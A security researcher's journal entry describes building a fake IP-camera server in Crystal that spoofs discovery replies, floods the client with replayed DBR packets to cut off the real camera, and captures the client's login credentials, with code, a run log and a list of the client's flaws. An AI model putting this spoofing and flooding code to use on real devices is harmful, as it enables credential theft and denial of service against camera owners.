

Date: 2019-09-03 Author: Ian Rash Index: #8

The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?

First thing I did was sit down and flesh out a basic connection process.

1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.

Capture DBP from client

The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.

```
def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info("Waiting to receive the DBP from a client")
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end
```

Capture DBR from the camera

The camera will send out the DBR, we need to capture that and hold it for replay.

```

def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info("Waiting to receive the DBR from a camera")

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info("Got a potential DBR from a client")

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info "GOT DBR TARGET #{@camera}"
    end
  end

  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end

```

Spam DBR

Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.

Some things I tried,

- UDP Flooding
- Connection spamming

Opening up connections with the camera and disconnecting constantly. EX: DBP -> DBR -> BCP -> BPS -> BPA -> RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.

- Broadcast flooding

* Flooding the broadcast with DBP/BCP to tie up camera resources.

In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.

```
# We just need to get our DBR in before the camera.
```

```
def spam_dbr(dbr)
```

```
  @spam_dbr = true
```

```
  LOG.info "Spamming DBR!"
```

```
  spam_fiber = spawn do
```

```
    while @spam_dbr
```

```
      begin
```

```
        send_dbr(dbr)
```

```
        sleep 0.000001
```

```
      rescue e
```

```
        LOG.info "SPAM DBR EXCEPTION #{e}"
```

```
      end
```

```
    end
```

```
    LOG.info "Spamming DBR Finished!"
```

```
  end
```

```
end
```

Handle BP Handshake

Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, then send four BPA. Our tick will have this inside.

```
elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end
end
```

Waiting for Ping

We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.

```
def wait_for_client_ping(timeout)
  LOG.info "Waiting for client ping"
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end

  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end

  got_ping = ping_channel.receive
  if got_ping
    LOG.info "PING SUCCESSFUL"
  else
    LOG.info "PING UNSUCCESSFUL"
  end
  got_ping
end
```

Getting the Password

At this point we have done everything we needed, and the client should be spilling it's guts to us.

```
[Running] crystal "/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr"
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Parsed new target camera {:camera_ip => "192.168.11.140", :netmask => "255.255.255.0"}
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:34 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421] INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp
```

Why does it work?

The client has very weak checks in place for the camera, it doesn't keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn't parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn't even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.

In short, there are a couple vulnerabilities this relies on

- Improper connection tracking
- Improper parsing/validating of DBR fields
- Broadcasting DBR
- Client improperly handling DBR flood.
- Client improperly handling sensitive data

These could not have been found if it wasn't for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, `auto_download.cgi`.

TAGGED SKILLS:

